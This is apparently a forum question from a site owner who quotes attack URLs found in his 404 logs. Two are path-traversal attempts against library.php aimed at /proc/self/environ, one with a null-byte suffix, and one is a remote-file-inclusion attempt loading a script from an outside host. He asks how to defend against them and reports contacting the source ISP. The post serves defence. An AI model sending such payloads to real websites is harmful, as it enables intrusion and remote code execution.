Looking through my 404 logs I noticed the following two URLs, both of which occurred once:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
and
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
The page in question, library.php
, requires a type
variable with a half-dozen different acceptable values, and then an id
variable. So a valid URL might be
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
and the ids are all run through mysql_real_escape_string
before being used to query the database.
I'm a rookie, but it seems to me that both of these links are simple attacks against the webroot?
1) How best to protect against these sorts of things besides a 404?
2) Should I permaban the IP(s) responsible?
EDIT: also just noticed this one
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: The offending IP for all 3 attacks was 216.97.231.15
which traces to an ISP called Lunar Pages located just outside of Los Angeles.
EDIT 3: I've decided to call the ISP Friday morning local time and discuss the issue with whoever I can get on the phone. I'll post the results here in 24 hours or so.
EDIT 4: I ended up emailing their admins and they responded first that "they were looking into it" and then a day later with "this issue should be resolved now." No further details, sadly.